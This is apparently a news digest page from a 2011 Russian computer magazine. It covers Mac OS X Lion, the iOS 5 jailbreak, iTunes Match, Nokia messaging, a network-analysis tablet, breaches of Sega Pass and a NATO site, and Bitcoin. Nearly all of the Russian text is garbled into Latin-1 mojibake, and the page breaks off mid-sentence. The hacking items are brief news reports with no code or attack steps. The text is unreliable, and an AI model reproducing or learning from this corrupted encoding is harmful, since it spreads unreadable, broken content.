ÏÎÎÁà ÒÉÒÓÆÍÁ Windows® 7 ¥ÏÍÁÙÎàà ÑÁÒÙÉÑÆÎÎÁà. ©ÒÐÏÌÝÈÏÃÁÎÉÆ 
ÉÍÆÎÎÏ 64-ÂÉÓÎÏÊ ÃÆÑÒÉÉ ÎÆ ÒÌÔØÁÊÎÏ: ÂÌÁÄÏÅÁÑà ÞÓÏÍÔ ÔÅÁÆÓÒà 
ÈÁÅÆÊÒÓÃÏÃÁÓÝ ÃÒÆ 4 ¤Â ÔÒÓÁÎÏÃÌÆÎÎÏÊ Ã ËÏÍÐÝßÓÆÑÆ ÐÁÍàÓÉ. °ÏÍÉÍÏ 
¯², ÅÏÐÏÌÎÉÓÆÌÝÎÏ ÔÒÓÁÎÏÃÌÆÎ ÂÆÒÐÌÁÓÎÜÊ ÁÎÓÉÃÉÑÔÒ Microsoft® 
Security Essentials É Office 2010 Starter (ÃËÌßØÁÆÓ Ã ÒÆÂà ÏÄÑÁÎÉØÆÎ-
ÎÜÊ ÕÔÎË×ÉÏÎÁÌ Word® É Excel®, ÅÌà ÁËÓÉÃÁ×ÉÉ ÐÏÌÎÏÕÔÎË×ÉÏÎÁÌÝ-
ÎÏÊ ÃÆÑÒÉÉ ÎÆÏÂÖÏÅÉÍÏ ÐÑÉÏÂÑÆÒÓÉ ËÌßØ ÐÑÏÅÔËÓÁ).

±
¦«

¬
¡

¡



XÀÊÅÐ  08  /151/  2011

MEGANEWS

ÄÐÀÉÂÅÐÀ ÍÀ ÀÂÒÎÌÀÒÅ

£ Intel Labs, ÏËÁÈÜÃÁÆÓÒà, ÃÏÃÒß ËÉÐÉÓ ÑÁÂÏÓÁ ÎÁÅ ÒÏÈÅÁÎÉÆÍ ÒÉÒÓÆÍÜ 
ÅÌà ÁÃÓÏÍÁÓÉØÆÒËÏÊ ÄÆÎÆÑÁ×ÉÉ ÉÒÖÏÅÎÏÄÏ ËÏÅÁ ÅÑÁÊÃÆÑÏÃ ÔÒÓÑÏÊÒÓÃ É 
ÉÖ ÐÏÒÌÆÅÔßÚÆÊ ÁÅÁÐÓÁ×ÉÉ ÅÌà ÑÁÈÌÉØÎÜÖ ̄ ². ̄ Â ÞÓÏÍ ÒÓÁÌÏ ÉÈÃÆÒÓÎÏ 
ÉÈ ÉÎÓÆÑÃÝß Ò ¡ÑÔÎÏÍ ±ÁÄÖÔÎÁÓÏÍ, ËÏÓÏÑÜÊ àÃÌàÆÓÒà ÏÅÎÉÍ ÉÈ ÑÁÈ-

ÑÁÂÏÓØÉËÏÃ ÞÓÏÄÏ ØÔÅÁ ÍÜÒÌÉ. ³ÆÖÎÏÌÏÄÉà ÐÏËÁ ÎÏÒÉÓ ÎÁÈÃÁÎÉÆ Termite 
É ÐÑÉÈÃÁÎÁ ÁÃÓÏÍÁÓÉÈÉÑÏÃÁÓÝ ÓÑÔÅ ÐÑÏÄÑÁÍÍÉÒÓÏÃ, ÐÏÍÏØÝ ÌßÅàÍ 
ÉÈÂÆÇÁÓÝ ÃÏÈÍÏÇÎÜÖ ÏÙÉÂÏË Ã ËÏÅÆ ÈÁ ÒØÆÓ ÁÃÓÏÍÁÓÉÈÁ×ÉÉ ÉÖ ÑÁÂÏÓÜ 
Ò ÐÏÍÏÚÝß ÁÌÄÏÑÉÓÍÏÃ, ÉÒÐÏÌÝÈÔÆÍÜÖ ÐÑÉ ÒÏÈÅÁÎÉÉ ÒÉÒÓÆÍ ÉÒËÔÒ-
ÒÓÃÆÎÎÏÄÏ ÉÎÓÆÌÌÆËÓÁ. ¡ÌÄÏÑÉÓÍ ÑÁÂÏÓÜ Termite ÏÒÎÏÃÁÎ ÎÁ ÍÆÓÏÅÁÖ 
«ÓÆÏÑÉÉ ÉÄÑ». ¥ÑÁÊÃÆÑ ÃÜÒÓÔÐÁÆÓ Ã ÑÏÌÉ ÐÆÑÃÏÄÏ ÉÄÑÏËÁ, Á ÏÒÓÁÌÝÎÏÆ 
ÏËÑÔÇÆÎÉÆ, Ë ËÏÓÏÑÏÍÔ ÍÏÇÎÏ ÐÑÉØÉÒÌÉÓÝ ̄ ² É ÔÒÓÑÏÊÒÓÃÏ, — ÃÓÏÑÏÄÏ. 
±ÁÄÖÔÎÁÓ ÐÏàÒÎàÆÓ: ««ÏÄÅÁ ÅÑÁÊÃÆÑ ÅÆÌÁÆÓ ÖÏÅ, ÏËÑÔÇÆÎÉÆ ÓÏÇÆ ÍÆÎàÆÓ 
ÒÃÏÆ ÒÏÒÓÏàÎÉÆ. £ÜÉÄÑÜÙÎÁà ÒÓÑÁÓÆÄÉà ÒÏÒÓÏÉÓ Ã ÓÏÍ, ØÓÏÂÜ ÅÆÌÁÓÝ 
ÖÏÅÜ ÐÏ ÉÄÑÏÃÏÍÔ ÐÏÌß ÓÁËÉÍ ÏÂÑÁÈÏÍ, ØÓÏÂÜ ÎÆ ÃÃÆÒÓÉ ÏËÑÔÇÆÎÉÆ Ã 
ÐÑÏÓÉÃÏÑÆØÉÃÏÆ ÉÌÉ ÓÔÐÉËÏÃÏÆ ÒÏÒÓÏàÎÉÆ». °ÌßÒ ÞÓÏÄÏ ÐÏÅÖÏÅÁ Ã ÆÄÏ 
ÔÎÉÃÆÑÒÁÌÝÎÏÒÓÉ, ÍÏÇÎÏ ÐÆÑÆÎÆÒÓÉ ÒÄÆÎÆÑÉÑÏÃÁÎÎÜÊ ÅÑÁÊÃÆÑ Ã ÅÑÔ-
ÄÔß ÏÐÆÑÁ×ÉÏÎËÔ, É ÅÌà ÞÓÏÄÏ ÎÆ ÐÏÓÑÆÂÔÆÓÒà ÎÉØÆÄÏ, ËÑÏÍÆ ËÏÑÑÆËÓÎÜÖ 
ÒÐÆ×ÉÕÉËÁ×ÉÊ ÉÎÓÆÑÕÆÊÒÁ ÅÑÁÊÃÆÑÏÃ ÅÌà ÞÓÏÊ ̄ ². ¥ÁÎÎÁà ÓÆÖÎÏÌÏÄÉà 
ÂÜÌÁ ÐÑÆÅÒÓÁÃÌÆÎÁ ÃÐÆÑÃÜÆ ÑÁÈÑÁÂÏÓØÉËÁÍÉ ÉÈ ÁÃÒÓÑÁÌÉÊÒËÏÄÏ ÉÒ-
ÒÌÆÅÏÃÁÓÆÌÝÒËÏÄÏ ×ÆÎÓÑÁ NICTA, Open Kernel Labs É ÉÒÒÌÆÅÏÃÁÓÆÌàÍÉ 
ÉÈ ÔÎÉÃÆÑÒÉÓÆÓÁ ®ÏÃÏÄÏ ¿ÇÎÏÄÏ ́ ÞÌÝÒÁ ÎÁ ÒÉÍÐÏÈÉÔÍÆ SOSP. ² ÉÖ 
ÐÏÅÑÏÂÎÜÍ ÅÏËÌÁÅÏÍ ÐÏ ÅÁÎÎÏÍÔ ÃÏÐÑÏÒÔ ÍÏÇÎÏ ÏÈÎÁËÏÍÉÓÝÒà ÈÅÆÒÝ: 
bit.ly/m3dtvt.

®ÆÍÁÌÏ ÉÎÓÆÑÆÒÎÜÖ ÒÏÏÂÚÆÎÉÊ ÐÑÉÙÌÏ ÈÁ 
ÐÑÏÙÆÅÙÉÊ ÍÆÒà× ÉÈ ÒÓÁÎÁ ËÏÍÐÁÎÉÉ Apple. 
£Ï-ÐÆÑÃÜÖ, ÂÜÌÁ ÎÁÈÃÁÎÁ ÅÁÓÁ ÃÜÖÏÅÁ ÎÏÃÏÄÏ 
ÐÏËÏÌÆÎÉà ÏÐÆÑÁ×ÉÏÎÎÏÊ ÒÉÒÓÆÍÜ Mac OS X 
ÐÏÅ ËÏÅÏÃÜÍ ÎÁÈÃÁÎÉÆÍ Lion. ²ÓÁÑÓ ÐÑÏÉÈÏÊ-
ÅÆÓ Ã ÔÇÆ Ã ÓÆËÔÚÆÍ ÍÆÒà×Æ. ̄ ² ÂÔÅÆÓ ÑÁÒÐÑÏ-
ÒÓÑÁÎàÓÝÒà ÓÏÌÝËÏ ØÆÑÆÈ Mac App Store ÐÏ ×ÆÎÆ 
29,99 ÅÏÌÌÁÑÏÃ. ®ÏÃÏÃÃÆÅÆÎÉÊ ÍÎÏÄÏ — ÂÏÌÆÆ 
250 ÎÏÃÜÖ ÕÔÎË×ÉÊ, ÍÎÏÄÉÆ ÉÈ ËÏÓÏÑÜÖ, ËÒÓÁÓÉ, 
ÂÜÌÉ ÐÏÈÁÉÍÒÓÃÏÃÁÎÜ ÉÈ ÍÏÂÉÌÝÎÏÊ iOS. £ÏÓ 
ÎÆËÏÓÏÑÜÆ ÉÖ ÎÉÖ: ÐÏàÃÉÌÁÒÝ ÐÏÅÅÆÑÇËÁ ÎÏÃÜÖ 
ÍÔÌÝÓÉÓÁØ-ÇÆÒÓÏÃ É ÐÏÌÎÏÞËÑÁÎÎÜÖ ÐÑÉÌÏÇÆ-

ÎÉÊ. ¢ÜÌÉ ÅÏÂÁÃÌÆÎÜ ÕÔÎË×Éà Mission Control 
ÅÌà ÐÑÏÒÍÏÓÑÁ ÈÁÐÔÚÆÎÎÜÖ ÎÁ ËÏÍÐÝßÓÆÑÆ 
ÐÑÏÄÑÁÍÍ Ã ÏÅÎÏÍ ÏËÎÆ É ÐÁÎÆÌÝ Launchpad. 
¯² ÉÎÓÆÄÑÉÑÏÃÁÌÁÒÝ Ò ÍÁÄÁÈÉÎÏÍ ÐÑÉÌÏÇÆÎÉÊ 
Mac App Store. °ÏàÃÉÌÁÒÝ ÔÓÉÌÉÓÁ AirDrop ÅÌà 
ÂÜÒÓÑÏÄÏ ÏÂÍÆÎÁ ÕÁÊÌÁÍÉ Ò ÅÑÔÄÉÍÉ ËÏÍÐÝß-
ÓÆÑÁÍÉ Mac ÐÏ ÂÆÒÐÑÏÃÏÅÎÏÊ ÒÆÓÉ. 
£Ï-ÃÓÏÑÜÖ, ÎÆ ÔÒÐÆÌ Apple ÏÐÔÂÌÉËÏÃÁÓÝ ÂÆÓÁ-
ÃÆÑÒÉß iOS 5, ËÁË ÆÆ ÔÇÆ ÃÈÌÏÍÁÌÉ. ®Á ÅÇÆÊÌ-
ÂÑÆÊË ÔÙÌÏ ÍÆÎÆÆ 24 ØÁÒÏÃ! ¡ÃÓÏÑÒÓÃÏ ÑÆËÏÑÅÁ 
ÐÑÉÎÁÅÌÆÇÉÓ iPhone Dev Team. °ÁÑÎÉ ÒÔÍÆÌÉ 
ÏÂÏÊÓÉ ÒÉÒÓÆÍÔ ×ÉÕÑÏÃÜÖ ÐÏÅÐÉÒÆÊ ÐÑÉÌÏÇÆ-

ÎÉÊ, É ÎÁ ÔÒÓÑÏÊÒÓÃÏ ÒÓÁÌÏ ÃÏÈÍÏÇÎÏ ÔÒÓÁÎÏÃÉÓÝ 
ÌßÂÔß ÐÑÏÄÑÁÍÍÔ. «ÏÄÅÁ ÂÔÅÆÓ ÃÜÐÔÚÆÎ ÅÇÆÊÌ-
ÂÑÆÊË, ÐÏËÁ ÎÆ ÒÏÏÂÚÁÆÓÒà, ÎÏ Ã ËÁØÆÒÓÃÆ ÅÏËÁ-
ÈÁÓÆÌÝÒÓÃ ÃÈÌÏÍÚÉËÉ ÏÐÔÂÌÉËÏÃÁÌÉ ÒËÑÉÎÙÏÓÜ 
ÅÏÍÁÙÎÆÄÏ ÞËÑÁÎÁ iOS ÎÁ ÐÌÆÆÑÆ iPod touch. 
²ÑÆÅÉ ÒÓÁÎÅÁÑÓÎÜÖ ÉËÏÎÏË ÂÜÌÉ ÉËÏÎËÉ ÐÑÉ-
ÌÏÇÆÎÉÊ Cydia É iSSH. °ÏÒÌÆÅÎÆÆ ÅÁÆÓ ËÏÑÎÆÃÏÊ 
ÅÏÒÓÔÐ Ë ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÆ. 
£-ÓÑÆÓÝÉÖ, ÏÂ ÏÅÎÏÊ ÏØÆÎÝ ÉÎÓÆÑÆÒÎÏÊ 
ÉÎÉ×ÉÁÓÉÃÆ ÑÁÒÒËÁÈÁÌ ²ÓÉÃ ¥ÇÏÂÒ. £ Apple 
ÐÑÉÅÔÍÁÌÉ, ËÁË ÍÏÇÎÏ ÍÏÎÆÓÉÈÉÑÏÃÁÓÝ 
«ÐÉÑÁÓÒËÔß» ÍÔÈÜËÔ. £ÏÈÍÏÇÎÜÍ ÞÓÏ ÒÓÁÌÏ 
ÂÌÁÄÏÅÁÑà ÎÏÃÏÍÔ ÒÆÑÃÉÒÔ iTunes Match. 
²ÔÓÝ ÐÑÏÒÓÁ: ÎÏÃÁà ÕÔÎË×Éà scan-and-match 
(ÒËÁÎÉÑÔÊ É ÎÁÊÅÉ) Ã iTunes ÐÏÍÆÒÓÉÓ ËÏÐÉÉ 
ÐÆÒÆÎ ÉÈ ÂÉÂÌÉÏÓÆË ÐÏÌÝÈÏÃÁÓÆÌÆÊ Ã ÏÂÌÁËÏ, 
ÄÅÆ ÍÏÇÎÏ ÖÑÁÎÉÓÝ ÓÑÆËÉ ÃÒÆÄÏ ÈÁ $25 Ã ÄÏÅ 
É ÐÑÏÒÌÔÙÉÃÁÓÝ ÉÖ ÎÁ ÌßÂÏÍ ÔÒÓÑÏÊÒÓÃÆ. © 
ÎÆÃÁÇÎÏ, ÏÓËÔÅÁ ÃÈàÌÉÒÝ ÞÓÉ ÐÆÒÎÉ — ÂÜÌÉ 
ÌÉ ÏÎÉ ÐÑÉÏÂÑÆÓÆÎÜ Ã iTunes, ÉÈÃÌÆØÆÎÜ ÉÈ 
CD ÉÌÉ ÒËÁØÁÎÜ Ò ÕÁÊÌÏÏÂÍÆÎÎÜÖ ÒÆÓÆÊ. 
«¾ÓÏ ÐÑÉÃÏÅÉÓ Ë ÒÏÈÅÁÎÉß ÍÏÅÆÌÉ, ËÏÓÏÑÁà 
ÐÏÈÃÏÌÉÓ ÌßÅàÍ ÅÆÌÁÓÝ ÅÆÎÝÄÉ ÎÁ ÐÉÑÁÓÒËÏÊ 
ÍÔÈÜËÆ», — ÈÁàÃÉÌ ¥ÇÆÕÕ °ÑÁÊÒ, ÏÒÎÏÃÁ-
ÓÆÌÝ É ÄÆÎÆÑÁÌÝÎÜÊ ÅÉÑÆËÓÏÑ ÎÆÈÁÃÉÒÉÍÏÄÏ 
ÍÔÈÜËÁÌÝÎÏÄÏ ÅÉÒÓÑÉÂÝßÓÏÑÁ TuneCore. £ 
ÏÂÚÆÍ É ×ÆÌÏÍ, ÞÓÏ ÅÆÊÒÓÃÉÓÆÌÝÎÏ ÐÏÖÏÇÆ ÎÁ 
ÒÖÆÍÔ, ÄÅÆ «É ÃÏÌËÉ ÒÜÓÜ É ÏÃ×Ü ×ÆÌÜ». ®Ï, Ë 
ÒÏÇÁÌÆÎÉß, ÒÏÍÎÉÓÆÌÝÎÏ, ØÓÏÂÜ ÃÒÆ ÂÏÑ×Ü 
ÈÁ ÁÃÓÏÑÒËÏÆ ÐÑÁÃÏ ÓÁË ÇÆ ÏÂÑÁÅÏÃÁÌÉÒÝ ÞÓÏÊ 
ÉÎÎÏÃÁ×ÉÉ. 

Ñïóñòÿ äâà ãîäà ïîñëå çàïóñêà, êîëè÷åñòâî ïîëüçîâàòåëåé 
ãåîëîêàöèîííîãî ñåðâèñà Foursquare ïðåâûñèëî 10 ìëí ÷åëîâåê.  
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«ÏÍÐÁÎÉà Nokia, ØÆÊ ÎÆÅÁÃÎÉÊ ÁÌÝàÎÒ Ò 
Microsoft ÐÏÓÑàÒ ÍÎÏÄÉÖ, ÃÜÐÔÒÓÉÌÁ ÂÆÒ-
ÐÌÁÓÎÜÊ ÍÆÒÒÆÎÅÇÆÑ IM for Nokia. °ÑÏ-
ÄÑÁÍÍÁ ÏÑÉÆÎÓÉÑÏÃÁÎÁ ÎÁ ÒÍÁÑÓÕÏÎÜ 
Nokia X6, Nokia 5230, Nokia N8, Nokia E7, 
ÁÐÐÁÑÁÓÜ Series 40 É ÑàÅ ÅÑÔÄÉÖ ÍÏÅÆÌÆÊ 
ËÏÍÐÁÎÉÉ. ²ËÁØÁÓÝ ÎÏÃÉÎËÔ ÍÏÇÎÏ ØÆÑÆÈ 
ÍÁÄÁÈÉÎ Ovi Store. ±ÁÈÔÍÆÆÓÒà, ÒÏÕÓÉÎÁ 
ÎÆ ÂÔÅÆÓ ÐÑÆÅÒÓÁÃÌàÓÝ ÒÏÂÏÊ ÈÁËÑÜ-
ÓÜÊ ÒÐÏÒÏÂ ÒÃàÈÉ «ÓÏÌÝËÏ ÅÌà ÎÏËÉÊ», 

ÍÆÒÒÆÎÅÇÆÑ ÓÁËÇÆ ÐÏÅÅÆÑÇÉÃÁÆÓ Google 
Talk, Windows Live Messenger, Yahoo! 
Messenger É ÅÑÔÄÉÆ ÒÆÑÃÉÒÜ ÏÂÍÆÎÁ 
ÍÄÎÏÃÆÎÎÜÍÉ ÒÏÏÂÚÆÎÉàÍÉ. ̄ ÅÎÁËÏ, 
ÐÏÖÏÇÆ, ÞÓÏ ÐÆÑÃÜÊ ÙÁÄ Ã ÎÁÐÑÁÃÌÆÎÉÉ, 
ÒÖÏÅÎÏÍ Ò «àÂÌÏØÎÜÍ» iMessage. °ÑÉ 
ÐÏÍÏÚÉ ÞÓÏÄÏ ÐÑÉÌÏÇÆÎÉà ÃÌÁÅÆÌÝ×Ü 
ÔÒÓÑÏÊÒÓÃ Ò iOS 5 ÎÁ ÂÏÑÓÔ ÒÍÏÄÔÓ ÏÂÍÆ-
ÎÉÃÁÓÝÒà ÓÆËÒÓÏÃÜÍÉ ÒÏÏÂÚÆÎÉàÍÉ, 
ÕÏÓÏÄÑÁÕÉàÍÉ É ÃÉÅÆÏÑÏÌÉËÁÍÉ.    

Ó NOKIA ÒÅÏÅÐÜ ÅÑÒÜ ÑÂÎß «ÀÑÜÊÀ»

®ÆÏÂÜØÎÏÆ ÔÒÓÑÏÊÒÓÃÏ ÐÑÆÅÒÓÁÃÉÌÁ ËÏÍÐÁ-
ÎÉà Fluke Networks. °ÌÁÎÙÆÓÎÉË OptiView 
XG Network Analysis Tablet ÏÑÉÆÎÓÉÑÏÃÁÎ 
ÎÁ ÒÆÓÆÃÜÖ ÉÎÇÆÎÆÑÏÃ É ÐÑÆÅÎÁÈÎÁØÆÎ ÅÌà 
ÑÆÙÆÎÉà ÒÆÑÝÆÈÎÜÖ ÈÁÅÁØ. ®ÏÃÉÎËÁ ÏÒÎÁÚÁÆÓÒà 
ÒÐÆ×ÉÁÌÉÈÉÑÏÃÁÎÎÜÍ ÁÐÐÁÑÁÓÎÜÍ ËÏÍÐÌÆË-
ÒÏÍ ÅÌà ÁÃÓÏÍÁÓÉÈÉÑÏÃÁÎÎÏÄÏ ÁÎÁÌÉÈÁ ÒÆÓÉ É 
ÐÑÉÌÏÇÆÎÉÊ. ¢ÁÑÑÉ ¬ÉÎÅÒÌÆÊ, ÍÆÎÆÅÇÆÑ ÐÏ 
ÍÁÑËÆÓÉÎÄÔ ËÏÍÐÁÎÉÉ Fluke Networks, ÐÏàÒÎàÆÓ, 
ØÓÏ ÅÁÎÎÏÆ ÔÒÓÑÏÊÒÓÃÏ ÐÑÉÈÃÁÎÏ ÐÏÍÏØÝ ÒÆÓÆ-
ÃÜÍ ÁÅÍÉÎÉÒÓÑÁÓÏÑÁÍ ÏÐÑÆÅÆÌÉÓÝ, ÄÅÆ ÉÍÆÎÎÏ 
ÉÍÆÆÓÒà ÎÆÉÒÐÑÁÃÎÏÒÓÝ Ã ÅÁÎÎÜÊ ÍÏÍÆÎÓ: Ã 

ÒÆÓÉ ÉÌÉ ÎÁ ÔÑÏÃÎÆ ÐÑÉÌÏÇÆÎÉÊ. °ÑÏÉÈÃÏÅÉÓÆÌÝ 
ÔÓÃÆÑÇÅÁÆÓ, ØÓÏ ÎÁ ÒÆÄÏÅÎà ÎÆÓ ÅÑÔÄÏÄÏ ÅÆÃÁÊÒÁ, 
ËÏÓÏÑÜÊ ÒÏØÆÓÁÌ ÂÜ Ã ÒÆÂÆ ÒÐÏÒÏÂÎÏÒÓÝ ÐÑÏÉÈ-
ÃÏÅÉÓÝ ÁÎÁÌÉÈ ÒÆÓÆÊ 10 ¤ÂÉÓ, Á ÓÁËÇÆ ÍÏÎÉÓÏÑÉÎÄ 
É ÁÎÁÌÉÈ ÂÆÒÐÑÏÃÏÅÎÜÖ ÒÆÓÆÊ. ¡ÐÐÁÑÁÓ ÃÆÒÉÓ 
2,5 ËÄ, ÉÍÆÆÓ 10,25-ÅßÊÍÏÃÜÊ ÞËÑÁÎ ÑÁÈÑÆÙÆ-
ÎÉÆÍ 1024x738, ÃÑÆÍà ÆÄÏ ÑÁÂÏÓÜ — ÓÑÉ ØÁÒÁ 
ÏÓ ÅÃÔÖ ÂÁÓÁÑÆÊ, ÈÁÍÆÎàÆÍÜÖ ÂÆÈ ÃÜËÌßØÆÎÉà 
ËÏÍÐÝßÓÆÑÁ. ²ÉÒÓÆÍÁ ÑÁÂÏÓÁÆÓ ÎÁ ÏÐÆÑÁ×ÉÏÎÎÏÊ 
ÒÉÒÓÆÍÆ Windows 7, ÐÑÏ×ÆÒÒÏÑ Intel Core Duo 1,2 
¤¤×. OptiView XG ÒÐÏÒÏÂÆÎ ËÏÎÓÑÏÌÉÑÏÃÁÓÝ ÅÏ 30 
000 ËÏÎÆØÎÜÖ ÔÒÓÑÏÊÒÓÃ Ã ÒÆÓÉ É ÏÂÑÁÂÁÓÜÃÁÓÝ 

ÐÁËÆÓÜ ÅÏ 10 ¤ÂÉÓ/Ò. ©ÎÕÏÑÍÁ×ÉÏÎÎÏÊ ÐÁÎÆÌÝß, 
ÏÓÏÂÑÁÇÁßÚÆÊ ÏÒÎÏÃÎÜÆ ÅÁÎÎÜÆ, ÍÏÇÎÏ 
ÔÐÑÁÃÌàÓÝÒà É ÉÈÍÆÎàÓÝ ÆÆ Ã ÈÁÃÉÒÉÍÏÒÓÉ ÏÓ 
ÓÑÆÂÏÃÁÎÉÊ ÐÏÌÝÈÏÃÁÓÆÌà. 

Êîðïîðàöèÿ ICANN ïðîãîëîñîâàëà çà ðàçðåøåíèå ââåäåíèÿ äîìåííûõ 
èìåí âåðõíåãî óðîâíÿ, ñîâïàäàþùèõ ñ íàçâàíèåì òîðãîâîé ìàðêè. 

Òî åñòü, çîíû âðîäå .apple, èëè .ibm íå çà ãîðàìè.

«ÁÑÁÓÆÌÝÎÜÆ ÏÐÆÑÁ×ÉÉ ÖÁËÆÑÏÃ ÐÑÏÓÉÃ 
ËÏÍÐÁÎÉÉ Sony ÒÌÏÃÎÏ ÐÏÒÌÔÇÉÌÉ ÒÉÄÎÁÌÏÍ Ë 
ÅÆÊÒÓÃÉß ÅÌà ÅÆÒàÓËÏÃ, ÆÒÌÉ ÎÆ ÒÏÓÆÎ, ÅÑÔÄÉÖ 
ÖÁËÓÉÃÉÒÓÏÃ ÐÏ ÃÒÆÍÔ ÍÉÑÔ. ̈ Á ÐÏÒÌÆÅÎÉÆ ÍÆ-
Òà×Ü ÒÏÏÂÚÆÎÉà Ï ÃÈÌÏÍÁÖ ÑÆÈËÏ ÔØÁÒÓÉÌÉÒÝ, É 
ÃÒÆ ØÁÚÆ ÏÓÃÆÓÒÓÃÆÎÎÏÒÓÝ ÈÁ ÖÁËÉ ÂÆÑÔÓ ÎÁ ÒÆÂà 

ÑÁÈÌÉØÎÜÆ ÄÑÔÐÐÉÑÏÃËÉ. ¦ÒÌÉ ÁÂÒÓÑÁÄÉÑÏÃÁÓÝ-
Òà ÏÓ ÍÎÏÄÏÒÓÑÁÅÁÌÝÎÏÊ Sony (ËÏÓÏÑÔß ÅÏ ÒÉÖ 
ÐÏÑ ÎÆ ÏÒÓÁÃÉÌÉ Ã ÐÏËÏÆ), ÓÏ ÒÁÍÜÍÉ ÄÑÏÍËÉÍÉ 
ÃÈÌÏÍÁÍÉ ÐÏÒÌÆÅÎÆÄÏ ÍÆÒà×Á ÍÏÇÎÏ ÎÁÈÃÁÓÝ 
ÖÁË ÒÆÑÃÉÒÁ Sega Pass É ÃÈÌÏÍ ÒÁÊÓÁ ®¡³¯. 
£ ÐÆÑÃÏÍ ÒÌÔØÁÆ ÂÜÌÉ ÒËÏÍÐÑÏÍÆÓÉÑÏÃÁÎÜ 
ÅÁÎÎÜÆ ÂÏÌÆÆ 1,3 ÍÉÌÌÉÏÎÁ ÐÏÌÝÈÏÃÁÓÆÌÆÊ 
ÉÄÑÏÃÏÄÏ ÏÎÌÁÊÎ-ÒÆÑÃÉÒÁ Sega Pass. ²ÆÑÃÉÒ 
ÏÓËÌßØÉÌÉ, ÏÂÎÁÑÔÇÉÃ, ØÓÏ ÎÆÉÈÃÆÒÓÎÜÆ 
ÌÉ×Á ÒÔÍÆÌÉ ÐÏÌÔØÉÓÝ ÅÏÒÓÔÐ Ë ÂÁÈÆ ÅÁÎÎÜÖ. 
«ÁËÁà ÉÍÆÎÎÏ ÉÎÕÏÑÍÁ×Éà ÍÏÄÌÁ ÐÏÐÁÒÓÝ 
Ã ÑÔËÉ ÈÌÏÔÍÜÙÌÆÎÎÉËÏÃ, ÐÏËÁ ÎÆ ÅÏ ËÏÎ×Á 
àÒÎÏ, ÎÏ ÔÇÆ ÉÈÃÆÒÓÎÏ, ØÓÏ ÖÁËÆÑÁÍ ÔÅÁÌÏÒÝ 
ÐÏÌÔØÉÓÝ email ßÈÆÑÏÃ, ÉÖ ÅÁÓÜ ÑÏÇÅÆÎÉà É 
ÐÁÑÏÌÉ (Ã ÈÁÙÉÕÑÏÃÁÎÎÏÍ ÃÉÅÆ). ©ÎÓÆÑÆÒÎÏ 
É ÓÏ, ØÓÏ ÅÑÔÄÁà ÄÑÔÐÐÉÑÏÃËÁ ÖÁËÓÉÃÉÒÓÏÃ ÐÏÅ 
ÎÁÈÃÁÎÉÆÍ LulzSec, Ï ÅÆàÎÉàÖ ËÏÓÏÑÏÊ ÍÜ 
ÏÂàÈÁÓÆÌÝÎÏ ÑÁÒÒËÁÇÆÍ ÓÆÂÆ ÐÏÅÑÏÂÎÏ Ã ÂÌÉ-
ÇÁÊÙÆÍ ÎÏÍÆÑÆ, ÃÜÈÃÁÌÁÒÝ ÐÏÍÏØÝ Sega ÎÁÊÓÉ 

ÃÈÌÏÍÚÉËÏÃ. LulzSec, ÒÁÍÉ ÓÏÌÝËÏ ÃÈÌÏÍÁÃ-
ÙÉÆ Bethesda, Nintendo, ÒÁÊÓ ·± ,́ ÒÁÊÓ ²ÆÎÁÓÁ 
²¹¡ É ÓÁË ÅÁÌÆÆ, ÈÁàÃÉÌÉ, ØÓÏ ÏÎÉ ÏØÆÎÝ ÌßÂàÓ 
Dreamcast É ÖÏÓàÓ ÐÏÍÏØÝ. ¶ÏÓà, ÃÆÑÏàÓÎÏ, ÞÓÏ 
ÈÁàÃÌÆÎÉÆ ÓÏÇÆ ÂÜÌÏ ÒÅÆÌÁÎÏ ÉÒËÌßØÉÓÆÌÝÎÏ 
ÑÁÅÉ ÌÔÌÈÏÃ. 
£Ï ÃÓÏÑÏÍ ÒÌÔØÁÆ ÐÏÒÓÑÁÅÁÌ ÒÁÊÓ ®¡³¯, Á 
ÉÍÆÎÎÏ NATO E-Bookshop. ́ ØÉÓÜÃÁà, ØÓÏ 
ÍÆÎÝÙÆ ÍÆÒà×Á ÎÁÈÁÅ ®¡³¯ ÎÆÅÃÔÒÍÜÒÌÆÎ-
ÎÏ ÔÄÑÏÇÁÌÉ ÁÎÏÎÉÍÔÒÜ, ÏÂÆÚÁà ÒÓÑÁÙÎÜÆ 
ËÁÑÜ, ÒÏÃÐÁÅÆÎÉÆ ÌßÂÏÐÜÓÎÏÆ. ̄  ÃÈÌÏÍÆ 
ÒÓÁÌÏ ÉÈÃÆÒÓÎÏ, ËÏÄÅÁ ÐÏÌÝÈÏÃÁÓÆÌÆÊ ÒÆÑÃÉÒÁ 
E-Bookshop ÏÐÏÃÆÒÓÉÌÉ, ØÓÏ ÖÁËÆÑÜ, ÃÏÈÍÏÇ-
ÎÏ, ÒÔÍÆÌÉ ÈÁÐÏÌÔØÉÓÝ ËÌÉÆÎÓÒËÔß ÂÁÈÔ, É ÐÏ-
ÐÑÏÒÉÌÉ ÃÒÆÖ ÒÍÆÎÉÓÝ ÐÁÑÏÌÉ. ®Ï ÓÁË ËÁË ÒÁÊÓ 
ÎÆ ÒÏÅÆÑÇÉÓ ÎÉËÁËÉÖ ËÏÎÕÉÅÆÎ×ÉÁÌÝÎÜÖ ÉÌÉ 
ÒÆËÑÆÓÎÜÖ ÅÁÎÎÜÖ, ÍÎÏÄÉÆ ÐÏÌÁÄÁßÓ, ØÓÏ ×ÆÌÝ 
ÅÌà ÁÎÏÎÉÍÁ ÂÜÌÁ ÍÆÌËÏÃÁÓÁ. ©ÈÃÆÒÓÎÏ ÓÁËÇÆ, 
ØÓÏ ®¡³¯ ÌÏÍÁÌÉ ØÆÑÆÈ XSS.  

ÕÀÊÒÈÂÈÇÌ ÊÐÅÏ×ÀÅÒ

ÏËÀÍØÅÒ ÄËß ÑÈÑÀÄÌÈÍÎÂ
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Ü ÅÏÃÏÌÝÎÏ ÅÁÃÎÏ ÑÁÒÒËÁÈÜÃÁÌÉ ÓÆÂÆ Ï ×ÉÕÑÏÃÏÊ ÃÁÌßÓÆ Bitcoin, 
ÏÒÎÏÃÁÎÎÏÊ ÎÁ peer-to-peer-ÓÆÖÎÏÌÏÄÉÉ. ¦Æ ÁÃÓÏÑ ²ÁÓÏÙÉ ®ÉËÁÍÏÓÏ ÖÏÓÆÌ 
ÒÏÈÅÁÓÝ ÃÁÌßÓÔ, ÎÁ ËÏÓÏÑÔß ÎÆ ÉÍÆÌÁ ÂÜ ÃÌÉàÎÉà ÎÉ ÐÏÌÉÓÉËÁ ÂÁÎËÏÃ, ÎÉ 

